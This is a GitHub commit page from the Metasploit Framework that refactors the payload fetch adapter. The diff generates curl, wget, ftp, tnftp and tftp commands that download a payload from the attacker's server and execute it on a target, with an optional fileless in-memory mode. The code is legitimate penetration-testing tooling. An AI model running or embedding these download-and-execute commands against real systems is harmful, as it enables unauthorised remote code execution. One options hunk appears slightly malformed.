Skip to content

Commit

Permalink
Refactoring fileless execution, adjusting generating fetch commands
Browse files Browse the repository at this point in the history
  • Loading branch information
msutovsky-r7 committed Feb 6, 2025
1 parent e3bb479 commit 50c95af
Show file tree
Hide file tree
Showing 2 changed files with 36 additions and 81 deletions.
109 changes: 31 additions & 78 deletions lib/msf/core/payload/adapter/fetch.rb
Original file line number Diff line number Diff line change
Expand Up @@ -4,13 +4,11 @@ def initialize(*args)
register_options(
[
Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]),
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}),
Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]),
# FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set
Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']),
Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']),
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', ''], regex: /^\S*$/)
]
)
register_advanced_options(
Expand Down Expand Up @@ -94,16 +92,15 @@ def generate_fetch_commands
#
case datastore['FETCH_COMMAND'].upcase
when 'FTP'
return datastore['FETCH_FILELESS'] && linux? ? _generate_ftp_command_fileless : _generate_ftp_command
return _generate_ftp_command
when 'TNFTP'
return datastore['FETCH_FILELESS'] && linux? ? _generate_tnftp_command_fileless : _generate_tnftp_command
return _generate_tnftp_command
when 'WGET'
return datastore['FETCH_FILELESS'] && linux? ? _generate_wget_command_fileless : _generate_wget_command
return _generate_wget_command
when 'CURL'
return datastore['FETCH_FILELESS'] && linux? ? _generate_curl_command_fileless : _generate_curl_command
return _generate_curl_command
when 'TFTP'
return datastore['FETCH_FILELESS'] && linux? ? _generate_tftp_command_fileless : _generate_tftp_command
# FETCH_FILELESS isn't supported for certutil for now
return _generate_tftp_command
when 'CERTUTIL'
return _generate_certutil_command
else
Expand Down Expand Up @@ -260,20 +257,6 @@ def _generate_fileless(get_file_cmd)
end

def _generate_curl_command
case fetch_protocol
when 'HTTP'
cmd = "curl -so #{_remote_destination} http://#{download_uri}"
when 'HTTPS'
cmd = "curl -sko #{_remote_destination} https://#{download_uri}"
when 'TFTP'
cmd = "curl -so #{_remote_destination} tftp://#{download_uri}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
cmd + _execute_add
end

def _generate_curl_command_fileless
case fetch_protocol
when 'HTTP'
fetch_command = "curl http://#{download_uri} -so"
Expand All @@ -284,78 +267,52 @@ def _generate_curl_command_fileless
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
_generate_fileless(fetch_command + ' $f')
end

def _generate_ftp_command
case fetch_protocol
when 'FTP'
"ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
when 'HTTP'
"ftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
when 'HTTPS'
"ftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
if datastore['FETCH_FILELESS'] && linux?
return _generate_fileless(fetch_command + ' $f')
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
return fetch_command + " #{_remote_destination}#{_execute_add}"
end
end

def _generate_ftp_command_fileless
def _generate_ftp_command
case fetch_protocol
when 'FTP'
fetch_command = "ftp ftp://#{download_uri} -Vo"
when 'HTTP'
fetch_command = "ftp http://#{download_uri} -Vo"
when 'HTTPS'
fetch_command = "ftp https://#{download_uri}#{_execute_nix} -Vo"
fetch_command = "ftp https://#{download_uri} -Vo"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
_generate_fileless(fetch_command + ' $f')
if datastore['FETCH_FILELESS'] && linux?
return _generate_fileless(fetch_command + ' $f')
else
return fetch_command + " #{_remote_destination_nix}#{_execute_nix}"
end
end

def _generate_tftp_command
_check_tftp_port
case fetch_protocol
when 'TFTP'
if windows?
cmd = "tftp -i #{srvhost} GET #{srvuri} #{_remote_destination} #{_execute_win}"
fetch_command = "tftp -i #{srvhost} GET #{srvuri} #{_remote_destination} #{_execute_win}"
else
_check_tftp_file
cmd = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &"
if datastore['FETCH_FILELESS'] && linux?
return _generate_fileless("(echo binary ; echo get #{srvuri} $f ) | tftp #{srvhost}")
else
fetch_command = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &"
end
end
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
cmd
end

def _generate_tftp_command_fileless
_check_tftp_port
case fetch_protocol
when 'TFTP'
_check_tftp_file
fetch_command = "(echo binary ; echo get #{srvuri} $f ) | tftp #{srvhost}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
_generate_fileless(fetch_command)
fetch_command
end

def _generate_tnftp_command
case fetch_protocol
when 'FTP'
"tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
when 'HTTP'
"tnftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
when 'HTTPS'
"tnftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
end

def _generate_tnftp_command_fileless
case fetch_protocol
when 'FTP'
fetch_command = "tnftp ftp://#{download_uri} -Vo"
Expand All @@ -366,22 +323,14 @@ def _generate_tnftp_command_fileless
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
_generate_fileless(fetch_command + ' $f')
end

def _generate_wget_command
case fetch_protocol
when 'HTTPS'
cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}"
when 'HTTP'
cmd = "wget -qO #{_remote_destination} http://#{download_uri}"
if datastore['FETCH_FILELESS'] && linux?
return _generate_fileless(fetch_command + ' $f')
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
return fetch_command + " #{_remote_destination_nix}#{_execute_nix}"
end
cmd + _execute_add
end

def _generate_wget_command_fileless
def _generate_wget_command
case fetch_protocol
when 'HTTPS'
fetch_command = "wget --no-check-certificate https://#{download_uri} -qO"
Expand All @@ -390,7 +339,11 @@ def _generate_wget_command_fileless
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
_generate_fileless(fetch_command + ' $f')
if datastore['FETCH_FILELESS'] && linux?
return _generate_fileless(fetch_command + ' $f')
else
return fetch_command + " #{_remote_destination}#{_execute_add}"
end
end

def _remote_destination
Expand Down
8 changes: 5 additions & 3 deletions lib/msf/core/payload/adapter/fetch/linux_options.rb
Original file line number Diff line number Diff line change
Expand Up @@ -6,8 +6,10 @@ def initialize(info = {})
))
register_options(
[
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL FTP TFTP TNFTP WGET }])
]
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL FTP TFTP TNFTP WGET }]),
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),
],
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to sto re payload; cannot contain spaces', './'], regex: /^\S*$/)
)
end
end
end

0 comments on commit 50c95af

Please sign in to comment.